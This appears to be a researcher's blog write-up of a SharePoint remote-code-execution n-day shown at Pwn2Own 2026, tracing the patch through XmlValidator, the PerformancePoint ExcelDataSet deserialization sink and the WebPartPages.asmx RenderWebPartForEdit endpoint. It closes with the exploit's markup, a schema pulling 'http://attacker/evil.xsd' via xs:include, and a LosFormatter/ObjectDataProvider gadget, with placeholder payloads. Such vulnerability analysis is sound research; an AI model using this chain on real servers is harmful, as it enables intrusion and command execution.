Post

Sharepoint Nday

Overview

Well, last week, Pwn2Own 2026 just ended, and the Sharepoint server was successfully exploited by Devcore team. I was really curious about the details of the exploit, so I decided to do some research on it. Well, normally I always research on some targets that are written in JS/Python/PHP, … but this time, I want to try something new, so I decided to choose Sharepoint as my target. I have to say, it was so hard to setup debugger for Sharepoint cause I dont have much RAM and experience with Windows debugging, but I finally managed to do it. Okay enough yapping, let’s get into the details of the exploit.

The Exploit

After installing the vulnerable and patched SharePoint builds, I diffed the source. The patch touched many files, but one change stood out immediately: System.Data.XmlValidator

alt text

Well, as you can see, that’s a lot of changes, but there is one change that caught my attention, which is the change in the XmlValidator.cs file. I decided to take a closer look at it, and I found that there are lots of changes that include adding blacklist.

The patched version adds denylist checks for dangerous XML Schema elements and attributes, including:

  • xs:include
  • xs:import
  • xs:redefine
  • xs:override
  • schemaLocation
  • xsi:schemaLocation
  • xsi:noNamespaceSchemaLocation

alt text

alt text

alt text

Okay, so it seems that the vulnerability is related to unsafe XML Schema inclusion. Lets traceback from XmlValidator to see what functions are calling it.

alt text

It seems that only one class is calling the XmlValidator class, which is the DataSetSurrogateSelector class. Reading through the code, XmlValidator.ValidateXml is used by DataSetSurrogateSelector.ValidatingSerializationSurrogate.SetObjectData.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
 public object SetObjectData(object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
		{
			Type type = obj.GetType();
			_ = type.BaseType;
			if (type != typeof(DataSet) && type != typeof(DataTable) && !type.IsSubclassOf(typeof(DataSet)) && !type.IsSubclassOf(typeof(DataTable)))
			{
				return null;
			}
			SerializationInfo serializationInfo = new SerializationInfo(obj.GetType(), new FormatterConverter());
			string text = info.GetString("XmlSchema");
			if (text != null)
			{
				_validator.ValidateXml(text);
				serializationInfo.AddValue("XmlSchema", text);
			}
			string text2 = info.GetString("XmlDiffGram");
			if (text2 != null)
			{
				_validator.ValidateXml(text2);
				serializationInfo.AddValue("XmlDiffGram", text2);
			}
			ConstructorInfo constructor = obj.GetType().GetConstructor(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, new Type[2]
			{
				typeof(SerializationInfo),
				typeof(StreamingContext)
			}, null);
			if (constructor != null)
			{
				constructor.Invoke(obj, new object[2] { serializationInfo, context });
			}
			return obj;
		}

This is interesting because XmlSchema and XmlDiffGram can come from serialized DataSet data. The surrogate validates both XML strings before passing them into the real DataSet constructor.

In a serialized DataSet:

  • XmlSchema describes the table structure, columns, types, and metadata.
  • XmlDiffGram contains the row data and serialized values.

The intended design is:

1
2
3
4
BinaryFormatter sees DataSet/DataTable
 -> DataSetSurrogateSelector returns a validating surrogate
 -> surrogate validates XmlSchema and XmlDiffGram
 -> real DataSet constructor receives the validated XML

The bug is that the vulnerable validator checks the XML it directly sees, but it does not block external schema inclusion. So the directly validated schema can look harmless, while the dangerous type information is imported later through xs:include. So if we can control the XmlSchema and include a malicious schema that defines a dangerous type, we can bypass the validation and trigger deserialization of the dangerous type.

After identifying the DataSet validation path, I searched for callers of BinarySerialization.Deserialize. The useful reachable caller was in PerformancePoint:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static object GetObjectFromCompressedBase64String(string base64String, Type[] ExpectedSerializationTypes)
	{
		if (base64String == null || base64String.Length == 0)
		{
			return null;
		}
		object obj = null;
		byte[] buffer = Convert.FromBase64String(base64String);
		using MemoryStream memoryStream = new MemoryStream(buffer);
		memoryStream.Position = 0L;
		GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Decompress);
		try
		{
			return BinarySerialization.Deserialize((Stream)gZipStream, (XmlValidator)null, (IEnumerable<Type>)null);
		}
		catch (SafeSerialization.BlockedTypeException ex)
		{
			throw new ArgumentException(string.Format(CultureInfo.InvariantCulture, "Scorecards: Unexpected serialized type {0} found.", new object[1] { ex.Message }));
		}
	}

Then I traced this helper back to Microsoft.PerformancePoint.Scorecards.ExcelDataSet:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public DataTable DataTable
	{
		get
		{
			if (dataTable == null && compressedDataTable != null)
			{
				dataTable = Helper.GetObjectFromCompressedBase64String(compressedDataTable, ExpectedSerializationTypes) as DataTable;
				if (dataTable == null)
				{
					compressedDataTable = null;
				}
			}
			return dataTable;
		}
		set
		{
			dataTable = value;
			compressedDataTable = null;
		}
	}

ExcelDataSet also has a CompressedDataTable property. The setter stores the base64 string, and the DataTable getter later decodes, decompresses, and deserializes it.

So the PerformancePoint part of the chain is:

1
2
3
4
5
6
ExcelDataSet.CompressedDataTable
 -> ExcelDataSet.DataTable getter
 -> Helper.GetObjectFromCompressedBase64String
 -> BinarySerialization.Deserialize
 -> DataSetSurrogateSelector
 -> XmlValidator

This reminded me of the public ToolShell CVE-2025-53770, because that chain also uses the Scorecard:ExcelDataSet trigger pattern. The remaining problem was finding a way to make SharePoint instantiate ExcelDataSet with attacker-controlled properties. So I searched for SharePoint code that accepts WebPart/server-control markup, parses register directives, and applies properties to created controls.

The patch did not only touch XmlValidator. There were also changes around the SharePoint WebPart design-time parser, especially ToolPane.cs, ServerElementMarkupSource.cs, and some Microsoft.Web.Design.Server classes.

One interesting ToolPane.cs change was around PrependRegisterDirectivesToMarkup.

Before patch:

1
2
markupProperties.Properties =
    PrependRegisterDirectivesToMarkup(documentDesigner, markupProperties.Properties);

After patch:

1
2
markupProperties.Properties =
    PrependRegisterDirectivesToMarkup(documentDesigner, manager.Web, markupProperties.Properties);

The patched function now validates generated register directives:

1
2
3
4
5
EditingPageParser.VerifyControlOnSafeList(
    text,
    null,
    web,
    blockServerSideIncludes: true);

Okay, so it seems that there was probably a SharePoint WebPart editing/parser surface that accepts register directives and creates server-side controls.

So I looked at ToolPane.GetPartPreviewAndPropertiesFromMarkup.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
internal static MarkupProperties GetPartPreviewAndPropertiesFromMarkup(Uri pageUri, string webPartMarkup, bool clearConnections, SPWebPartManager manager, SPWeb web, MarkupOption markupOption, bool bConvertWebPartFormatBehavior, bool prependRegisterDirectivesToMarkup, ref System.Web.UI.WebControls.WebParts.WebPart frontPagePart, ref string markupStorageKey, ref string frontPageZoneId, ref WebPartImporter webPartImporter, ref List<RegisterDirectiveData> registerDirectiveDataList, ref IServerDocumentDesigner documentDesigner, bool blockPropertyTraversal = false)
	{
		//IL_0370: Unknown result type (might be due to invalid IL or missing references)
		MarkupProperties markupProperties = new MarkupProperties();
		frontPagePart = null;
		markupStorageKey = null;
		bool flag = false;
		System.Web.UI.WebControls.WebParts.WebPart webPart = null;
		System.Web.UI.WebControls.WebParts.WebPart webPart2 = null;
		Exception ex = null;
		Exception ex2 = null;
		documentDesigner = null;
		try
		{
			StringReader input = new StringReader(HttpUtility.HtmlDecode(webPartMarkup));
			XmlReaderSettings xmlReaderSettings = new XmlReaderSettings();
			xmlReaderSettings.IgnoreComments = true;
			xmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit;
			XmlReader reader = XmlReader.Create(input, xmlReaderSettings);
			webPartImporter = WebPartImporter.Import(manager, reader, clearConnections, pageUri, web);
			webPart = (frontPagePart = webPartImporter.ImportedWebPart);
			flag = true;
			if (webPart != null)
			{
				if (bConvertWebPartFormatBehavior)
				{
					if (webPartImporter.Extension == ImportExtension.WebPart)
					{
						if (SPWebPartManager.GetEffectiveWebPartType(webPart.GetType(), SerializationTarget.Store) == EffectiveWebPartType.SharePoint)
						{
							ex = new WebPartPageUserException(WebPartPageResource.GetString("WebPartFormatInvalidForType"));
						}
						else if (markupOption != MarkupOption.None)
						{
							markupProperties = GetPropertiesUsingMWD(pageUri, manager, markupOption, prependRegisterDirectivesToMarkup, webPart, ref markupStorageKey, ref frontPageZoneId, ref documentDesigner);
						}
					}
					else if (markupOption != MarkupOption.None)
					{
						markupProperties = ((SPWebPartManager.GetEffectiveWebPartType(webPart.GetType(), SerializationTarget.Designer) != EffectiveWebPartType.SharePoint) ? GetPropertiesUsingMWD(pageUri, manager, markupOption, prependRegisterDirectivesToMarkup, webPart, ref markupStorageKey, ref frontPageZoneId, ref documentDesigner) : GetPropertiesUsingImporter(markupOption, webPart, webPartImporter));
					}
				}
				else if (webPartImporter.Extension == ImportExtension.WebPart)
				{
					ex = new WebPartPageUserException(WebPartPageResource.GetString("WebPartFormatInvalidForType"));
				}
				else
				{
					markupProperties = GetPropertiesUsingImporter(markupOption, webPart, webPartImporter);
				}
			}
			else
			{
				webPartImporter = null;
			}
		}
		catch (Exception ex3)
		{
			ex = ex3;
			webPart = null;
			frontPagePart = null;
			webPartImporter = null;
		}
		bool flag2 = true;
		if (frontPagePart != null && ex == null)
		{
			return markupProperties;
		}
		try
		{
			string text = webPartMarkup.Trim();
			if (!text.StartsWith("<%"))
			{
				flag2 = false;
				throw new WebPartPageUserException(WebPartPageResource.GetString("WebPartMarkupNotDeserialized"));
			}
			ServerElementMarkupSource serverElementMarkupSource = new ServerElementMarkupSource(text);
			ParseRegisterDirectives(serverElementMarkupSource.RegisterDirectiveBlob, pageUri, ref registerDirectiveDataList);
			if (!serverElementMarkupSource.TagParser.ParseAttributes())
			{
				throw new WebPartPageUserException(WebPartPageResource.GetString("WebPartMarkupNotDeserialized"));
			}
			if (serverElementMarkupSource.TagParser.Attributes.Contains("__MarkupType") && string.Compare((string)serverElementMarkupSource.TagParser.Attributes["__MarkupType"], "xmlmarkup", ignoreCase: true, CultureInfo.InvariantCulture) == 0)
			{
				webPartImporter = null;
				frontPagePart = null;
				throw new WebPartPageUserException(WebPartPageResource.GetString("IncorrectMarkupTypeSpecified"));
			}
			if (serverElementMarkupSource.TagParser.Attributes.Contains("__WebPartId"))
			{
				markupStorageKey = (string)serverElementMarkupSource.TagParser.Attributes["__WebPartId"];
			}
			if (serverElementMarkupSource.TagParser.Attributes.Contains("__designer:Values"))
			{
				StringBuilder stringBuilder = new StringBuilder();
				string value = serverElementMarkupSource.WebPartMarkup.Substring(serverElementMarkupSource.TagParser.EndPos + 1, serverElementMarkupSource.WebPartMarkup.Length - serverElementMarkupSource.TagParser.EndPos - 1);
				serverElementMarkupSource.TagParser.RemoveAttribute("__designer:Values");
				if (serverElementMarkupSource.TagParser.IsEmpty)
				{
					stringBuilder.Append(serverElementMarkupSource.TagParser.BeginTagText);
				}
				else
				{
					stringBuilder.Append(serverElementMarkupSource.TagParser.TagText);
				}
				if (serverElementMarkupSource.TagParser.IsEmpty)
				{
					stringBuilder.Append(serverElementMarkupSource.TagParser.EndTagText);
				}
				stringBuilder.Append(value);
				serverElementMarkupSource.WebPartMarkup = stringBuilder.ToString();
			}
			ServerWebApplication webApplication = new ServerWebApplication(manager.Web, manager.LimitedWebPartManager, pageUri);
			documentDesigner = PageParser.CreateAndInitializeDocumentDesigner(pageUri.AbsolutePath, manager.Web, pageUri.AbsolutePath, registerDirectiveDataList, markupOption, (IServerWebApplication)(object)webApplication);
			IServerElementDesigner val = null;
			IServerElementDesigner elementDesigner = null;
			string text2 = AddDummyZoneToMWD(null, documentDesigner, out elementDesigner);
			val = ((IServerNestableDocumentDesigner)documentDesigner).CreateNestedElementDesigner((IServerElementMarkup)(object)serverElementMarkupSource, elementDesigner, 0, true, blockPropertyTraversal);
			documentDesigner.OnLoadComplete(false);
			webPart2 = val.Control as System.Web.UI.WebControls.WebParts.WebPart;
			markupProperties = GetMarkupProperties(val, serverElementMarkupSource, markupStorageKey, markupOption);
			if (prependRegisterDirectivesToMarkup)
			{
				markupProperties.Properties = PrependRegisterDirectivesToMarkup(documentDesigner, markupProperties.Properties);
			}
			frontPageZoneId = text2;
			if (webPart2 is WebPart)
			{
				((WebPart)webPart2).PromoteStateIntoAspWebPart(manager, null);
			}
		}
		catch (Exception ex4)
		{
			ex2 = ex4;
		}
		if (webPart2 == null)
		{
			Exception ex5 = null;
			ex5 = ((flag && ex != null) ? ex : ((flag2 && ex2 != null) ? ex2 : ((ex == null) ? ex2 : ex)));
			markupProperties.Error = SPUtility.GetErrorMessageFromException(ex5, renderForEdit: true, WebPartPageResource.GetString("GenericErrorText"), out var _);
			frontPagePart = null;
			webPartImporter = null;
		}
		else
		{
			frontPagePart = webPart2;
			webPartImporter = null;
		}
		return markupProperties;
	}

Inside this function, SharePoint first tries normal WebPart import. If that path fails, it falls back to parsing design-time ASP.NET-style markup. The fallback path checks whether the markup starts with a directive:

1
2
3
4
5
string text = webPartMarkup.Trim();
if (!text.StartsWith("<%"))
{
    throw new WebPartPageUserException(...);
}

Then it separates register directives from the actual control markup:

1
2
ServerElementMarkupSource serverElementMarkupSource = new ServerElementMarkupSource(text);
ParseRegisterDirectives(serverElementMarkupSource.RegisterDirectiveBlob, pageUri, ref registerDirectiveDataList);

After that, SharePoint creates a design-time document designer and asks it to create a nested server element:

1
2
3
4
5
6
ServerWebApplication webApplication = new ServerWebApplication(manager.Web, manager.LimitedWebPartManager, pageUri);
documentDesigner = PageParser.CreateAndInitializeDocumentDesigner(pageUri.AbsolutePath, manager.Web, pageUri.AbsolutePath, registerDirectiveDataList, markupOption, (IServerWebApplication)(object)webApplication);
IServerElementDesigner val = null;
IServerElementDesigner elementDesigner = null;
string text2 = AddDummyZoneToMWD(null, documentDesigner, out elementDesigner);
val = ((IServerNestableDocumentDesigner)documentDesigner).CreateNestedElementDesigner((IServerElementMarkup)(object)serverElementMarkupSource, elementDesigner, 0, true, blockPropertyTraversal);

At this point I wanted to understand what CreateNestedElementDesigner actually does. Tracing this part statically was painful, so I set a breakpoint on CreateNestedElementDesigner and stepped into it in the debugger.

Stepping into it eventually reaches ServerDocument.CreateNestedElementDesignerCore.

alt text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
internal ServerElement CreateNestedElementDesignerCore(IServerElementMarkup markup, ServerElement parentElement, int regionIndex, bool forceUseDesigner, bool blockPropertyTraversal = false)
		{
			this.UpdateRegisterDirectives();
			ServerElement serverElement = new ServerElement(markup, parentElement, regionIndex, this, forceUseDesigner);
			this.ServerElements.Add(serverElement);
			this.AddLoadCompleteElement(serverElement);
			if (parentElement != null)
			{
				parentElement.InitializeChildElement(serverElement, blockPropertyTraversal);
			}
			else
			{
				serverElement.Initialize(blockPropertyTraversal);
			}
			string attribute = markup.GetAttribute("##UpdateID");
			if (attribute != null)
			{
				this.UpdateIdMap[serverElement] = attribute;
			}
			return serverElement;
		}

And then in the parentElement.InitializeChildElement(serverElement, blockPropertyTraversal); InitializeChildElement eventually leads to initialization of the child ServerElement. The important next function is ServerElement.Initialize.

alt text

In ServerElement.Initialize, the markup-based path does two important things:

alt text

1
2
3
4
5
6
7
8
9
 Document.CheckMarkupForSafeControls(
      ((IWebElement)this).GetOuterHtml(),
      blockPropertyTraversal);

  _designer = Document.Designer.CreateElementDesigner(
      this,
      0,
      null,
      null);

The first call asks SharePoint to validate the markup against safe-control rules.

alt text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
internal static void VerifyControlOnSafeList(string dscXml, RegisterDirectiveManager registerDirectiveManager, SPWeb web, bool blockServerSideIncludes = false, bool blockPropertyTraversal = false)
		{
			Hashtable hashtable = new Hashtable(StringComparer.InvariantCultureIgnoreCase);
			Hashtable hashtable2 = new Hashtable();
			List<string> list = new List<string>();
			EditingPageParser.InitializeRegisterTable(hashtable, registerDirectiveManager);
			EditingPageParser.ParseStringInternal(dscXml, hashtable2, hashtable, list, blockPropertyTraversal);
			foreach (object obj in hashtable.Values)
			{
				ArrayList arrayList = (ArrayList)obj;
				foreach (object obj2 in arrayList)
				{
					Triplet triplet = (Triplet)obj2;
					if (string.IsNullOrEmpty((string)triplet.Third))
					{
						string text = (string)triplet.Second;
						string text2 = (string)triplet.First;
						if (!EditingPageParser.IsAssemblyNamespaceValid(text, text2))
						{
							ULS.SendTraceTag(504656268U, ULSCat.msoulscat_WSS_General, ULSTraceLevel.Unexpected, "Register directive(s) contains invalid values");
							throw new SafeControls.UnsafeControlException(SPResource.GetString("UnsafeControlReasonTypeMarkedUnsafe", new object[0]));
						}
					}
				}
			}
			if (blockServerSideIncludes && list.Count > 0)
			{
				ULS.SendTraceTag(42059668U, ULSCat.msoulscat_WSS_General, ULSTraceLevel.Medium, "VerifyControlOnSafeList: Blocking control XML due to unsafe server side includes");
				throw new ArgumentException("Unsafe server-side includes", "dscXml");
			}
			foreach (object obj3 in hashtable2)
			{
				Tuple<string, string, bool, bool> tuple = (Tuple<string, string, bool, bool>)((DictionaryEntry)obj3).Value;
				string item = tuple.Item1;
				string text3 = tuple.Item2.ToLower(CultureInfo.InvariantCulture);
				bool item2 = tuple.Item3;
				bool item3 = tuple.Item4;
				if (!hashtable.ContainsKey(text3))
				{
					ULS.SendTraceTag(504656266U, ULSCat.msoulscat_WSS_General, ULSTraceLevel.Unexpected, "Failed to GetType for TagMapping tagType {0}:{1}.", new object[] { text3, item });
					throw new SafeControls.UnsafeControlException(SPResource.GetString("UnsafeControlReasonTypeMarkedUnsafe", new object[0]));
				}
				ArrayList arrayList2 = (ArrayList)hashtable[text3];
				string text4 = null;
				int i = 0;
				int count = arrayList2.Count;
				while (i < count)
				{
					Triplet triplet2 = (Triplet)arrayList2[i];
					string text5 = (string)triplet2.Third;
					if (!string.IsNullOrEmpty(text5))
					{
						string text6 = (string)triplet2.First;
						if (string.Compare(text6, item, true, CultureInfo.InvariantCulture) == 0)
						{
							string text7 = text5;
							if (text7.StartsWith("~"))
							{
								text7 = text7.Substring(1);
							}
							if (!web.SafeControls.IsSafeControl(web.IsAppWeb, text7))
							{
								throw new SafeControls.UnsafeControlException(SPResource.GetString("UserControlNotSafeControl", new object[] { text5, web.Url }));
							}
							break;
						}
					}
					else
					{
						string text8 = (string)triplet2.First + "." + item;
						string text9 = (string)triplet2.Second;
						Type type = null;
						try
						{
							type = PageParser.GetControlType(text9, text8, true);
						}
						catch (TypeLoadException)
						{
							if (i < count - 1)
							{
								goto IL_037D;
							}
							ULS.SendTraceTag(504656267U, ULSCat.msoulscat_WSS_General, ULSTraceLevel.Unexpected, "Failed to GetType for TagMapping tagType {0}:{1} tagPrefix={2} controlName={3}", new object[] { text9, text8, text3, item });
							throw new SafeControls.UnsafeControlException(SPResource.GetString("UnsafeControlReasonTypeMarkedUnsafe", new object[0]));
						}
						if (web.SafeControls.IsSafeControl(web.IsAppWeb, type, blockPropertyTraversal, item3, out text4))
						{
							break;
						}
						if (blockPropertyTraversal && item3)
						{
							ULS.SendTraceTag(539813467U, ULSCat.msoulscat_WSS_General, ULSTraceLevel.Medium, "Unsafe control={0} for having property traversal char in attribute value.", new object[] { type.AssemblyQualifiedName });
							throw new SafeControls.UnsafeControlException(text4);
						}
						if (item2 || type.IsSubclassOf(typeof(Control)))
						{
							throw new SafeControls.UnsafeControlException(text4);
						}
					}
					IL_037D:
					i++;
				}
			}
		}

First, it builds a table of registered tag prefixes:

1
2
InitializeRegisterTable(hashtable, registerDirectiveManager);
ParseStringInternal(dscXml, hashtable2, hashtable, list, blockPropertyTraversal);

hashtable contains known/registerable prefixes, and hashtable2 contains the tags found in the markup.

Before SharePoint checks the actual tags, it also validates the register-directive entries themselves:

1
2
3
4
  if (!EditingPageParser.IsAssemblyNamespaceValid(text, text2))
  {
      throw new SafeControls.UnsafeControlException(...);
  }

IsAssemblyNamespaceValid is a format check (regex-based) that ensures the assembly and namespace in the register directive are well-formed.

hashtable2 is populated by ParseStringInternal. It represents the server tags that were found in the markup. Each entry stores the tag name, tag prefix, whether the tag has runat="server", and whether property traversal was detected. So for a tag like:

<Demo:Label runat="server" Text="hello" />

SharePoint records roughly:

  • tag name: Label
  • tag prefix: Demo
  • server-side tag: true
  • property traversal: false

The later loop uses the tag prefix to find the matching register directive in hashtable. If the prefix was not registered, SharePoint throws immediately.

After the prefix lookup, SharePoint iterates over the register mappings for that prefix. Each mapping is stored as a Triplet, and the code has two branches depending on triplet2.Third.

If triplet2.Third is not empty, the register directive points to a user-control file through Src:

  <%@ Register TagPrefix="Demo" TagName="Box" Src="~/Controls/Box.ascx" %>
  <Demo:Box runat="server" />

In that case:

triplet2.First = Box triplet2.Second = “” triplet2.Third = ~/Controls/Box.ascx

After that, SharePoint checks whether the .ascx path is allowed by SafeControls:

1
web.SafeControls.IsSafeControl(web.IsAppWeb, text7)

This branch is less useful, because it requires a trusted server-side user-control path. So we focus on the other branch where triplet2.Third is empty.

For each tag found in the markup, SharePoint resolves the tag into a .NET type:

1
2
3
4
5
6
string text8 = (string)triplet2.First + "." + item;
string text9 = (string)triplet2.Second;



type = PageParser.GetControlType(text9, text8, true);

Conceptually:

1
2
3
4
  TagPrefix + TagName
   -> Namespace + TypeName
   -> Assembly
   -> .NET Type

For example, if we have

1
2
3
4
5
<%@ Register TagPrefix="Demo"
      Namespace="System.Web.UI.WebControls"
      Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %>

<Demo:Label runat="server" Text="hello from server" />

the parser learns:

1
2
Demo -> System.Web.UI.WebControls
assembly -> System.Web

So when it sees:

<Demo:Label runat="server" Text="hello from server" />

it resolves the tag like this:

prefix: Demo tag name: Label

1
2
System.Web.UI.WebControls + Label
= System.Web.UI.WebControls.Label

Then it loads that type from:

System.Web, Version=4.0.0.0, …

So the markup becomes roughly:

1
2
Label label = new Label();
label.Text = "hello from server";

After resolving the type, SharePoint asks the current web’s SafeControls table whether the type is allowed:

1
2
3
4
5
6
web.SafeControls.IsSafeControl(
	web.IsAppWeb,
	type,
	blockPropertyTraversal,
	item3,
	out text4)

This check is matched against SharePoint’s loaded SafeControls configuration for the current web application. In the server’s web.config, these entries live under:

1
2
3
4
5
  <SharePoint>
    <SafeControls>
      ...
    </SafeControls>
  </SharePoint>

For example, the config contains broad wildcard entries like:

1
2
3
4
5
6
7
  <SafeControl Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral,
  PublicKeyToken=31bf3856ad364e35"
               Namespace="System.Web.UI"
               TypeName="*"
               Safe="True"
               AllowRemoteDesigner="True"
               SafeAgainstScript="True" />

This means types in the System.Web.UI namespace from System.Web.Extensions can pass the SafeControls check.

If the type is unsafe, SharePoint throws: throw new SafeControls.UnsafeControlException(text4);

After this, the design-time parser is allowed to continue parsing the markup. That is the important part: the tag is no longer just text. It becomes a real server-side object, and attributes in the markup are applied as properties.

From here, parsing is handled by ASP.NET System.Web. In the debugger, this continues into:

1
control = DesignTimeTemplateParser.ParseControl(designTimeParseData);

A normal markup attribute maps to a direct public setter:

1
<Demo:Label runat="server" Text="hello" />

conceptually becomes:

1
2
Label label = new Label();
label.Text = "hello";

Attribute assignment is performed through normal WebForms property-mapping logic.

WebForms also supports property traversal. In persisted attribute names, - maps to .:

1
<Demo:SomeControl runat="server" Child-Enabled="true" />

conceptually becomes:

1
obj.Child.Enabled = true;

This is important because resolving obj.Child calls the Child getter before setting the nested property.

Now this can be connected back to ExcelDataSet.

1
2
3
4
<Scorecard:ExcelDataSet
	runat="server"
	CompressedDataTable="BASE64_PAYLOAD"
	DataTable-CaseSensitive="true" />

The first attribute is a direct setter:

1
2
3
CompressedDataTable="BASE64_PAYLOAD"
   -> ExcelDataSet.set_CompressedDataTable(...)
   -> stores the attacker-controlled serialized payload

The second attribute is property traversal:

1
2
3
4
5
6
7
8
DataTable-CaseSensitive="true"
     -> ExcelDataSet.DataTable.CaseSensitive = true
     -> ExcelDataSet.get_DataTable()
     -> Helper.GetObjectFromCompressedBase64String(...)
     -> BinarySerialization.Deserialize(...)
     -> BinaryFormatter starts deserializing a DataSet
     -> DataSetSurrogateSelector validates XmlSchema / XmlDiffGram
     -> XmlValidator.ValidateXml(...)

So CompressedDataTable stages the payload, and DataTable-CaseSensitive forces the getter that consumes it.

At this point we have the primitive we need: attacker-controlled WebForms markup can create a SafeControls-approved type and assign public properties from attributes.

This is basically the same Scorecard:ExcelDataSet trigger block used in the ToolShell. The entry point is different, but the WebForms sink pattern is the same: set CompressedDataTable, then use DataTable-... property traversal to force the DataTable getter.

Because the sink is the same, we can reuse the same payload structure from the ToolShell research: a base64+gzip serialized DataSet inside CompressedDataTable, an external XSD included through xs:include, and a diffgram that materializes the ObjectDataProvider / LosFormatter chain. The final LOS payload is then passed into LosFormatter.Deserialize, which gives command execution

After understanding this parser primitive, I still needed a reachable HTTP entry point that passes attacker-controlled markup into GetPartPreviewAndPropertiesFromMarkup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[WebMethod]
public string RenderWebPartForEdit(string webPartXml)
{
    ...
    MarkupProperties result =
        ToolPane.GetPartPreviewAndPropertiesFromMarkup(
            pageUri,
            webPartXml,
            clearConnections: true,
            manager,
            sPWeb,
            MarkupOption.PreviewAndProperties,
            ...);
}

This exposes the ToolPane parser through SOAP:

1
2
POST /_vti_bin/WebPartPages.asmx
SOAPAction: "http://microsoft.com/sharepoint/webpartpages/RenderWebPartForEdit"

So now the source side is:

1
2
3
4
5
6
7
RenderWebPartForEdit(webPartXml)
 -> ToolPane.GetPartPreviewAndPropertiesFromMarkup
 -> ServerElementMarkupSource
 -> ParseRegisterDirectives
 -> PageParser.CreateAndInitializeDocumentDesigner
 -> CreateNestedElementDesigner
 -> WebForms object creation + property assignment

So the final webPartXml only needs to combine the register directives with the ToolShell-style ExcelDataSet block:

  <%@ Register TagPrefix="UI"
      Namespace="System.Web.UI"
      Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>

  <%@ Register TagPrefix="Scorecard"
      Namespace="Microsoft.PerformancePoint.Scorecards"
      Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral,
      PublicKeyToken=71e9bce111e9429c" %>

  <UI:UpdateProgress runat="server">
    <ProgressTemplate>
      <Scorecard:ExcelDataSet
          runat="server"
          CompressedDataTable="BASE64_GZIP_SERIALIZED_DATASET"
          DataTable-CaseSensitive="true" />
    </ProgressTemplate>
  </UI:UpdateProgress>

The placeholder BASE64_GZIP_SERIALIZED_DATASET is the compressed serialized DataSet. After base64-decoding and gzip-decompressing it, the BinaryFormatter stream contains a DataSet whose important fields are XmlSchema and XmlDiffGram.

The XmlSchema part:

1
2
3
4
5
6
7
8
9
10
<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="ds">
  <xs:include schemaLocation="http://attacker/evil.xsd" />
  <xs:element name="ds" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
    <xs:complexType>
      <xs:choice minOccurs="0" maxOccurs="unbounded">
        <xs:element ref="tbl" />
      </xs:choice>
    </xs:complexType>
  </xs:element>
</xs:schema>

The external evil.xsd defines the table and gives the column a dangerous msdata:DataType:

1
2
3
4
5
6
7
8
9
<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
  <xs:element name="tbl">
    <xs:complexType>
      <xs:sequence>
        <xs:element name="objwrapper" msdata:DataType="System.Collections.Generic.List`1[[System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" type="xs:anyType" minOccurs="0" />
      </xs:sequence>
    </xs:complexType>
  </xs:element>
</xs:schema>

The XmlDiffGram part:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
  <ds>
    <tbl diffgr:id="tbl1" msdata:rowOrder="0" diffgr:hasChanges="inserted">
      <objwrapper xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
        <ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
          <ExpandedElement />
          <ProjectedProperty0>
            <MethodName>Deserialize</MethodName>
            <MethodParameters>
              <anyType xsi:type="xsd:string">{LOS_PAYLOAD}</anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="LosFormatter" />
          </ProjectedProperty0>
        </ExpandedWrapperOfLosFormatterObjectDataProvider>
      </objwrapper>
    </tbl>
  </ds>
</diffgr:diffgram>

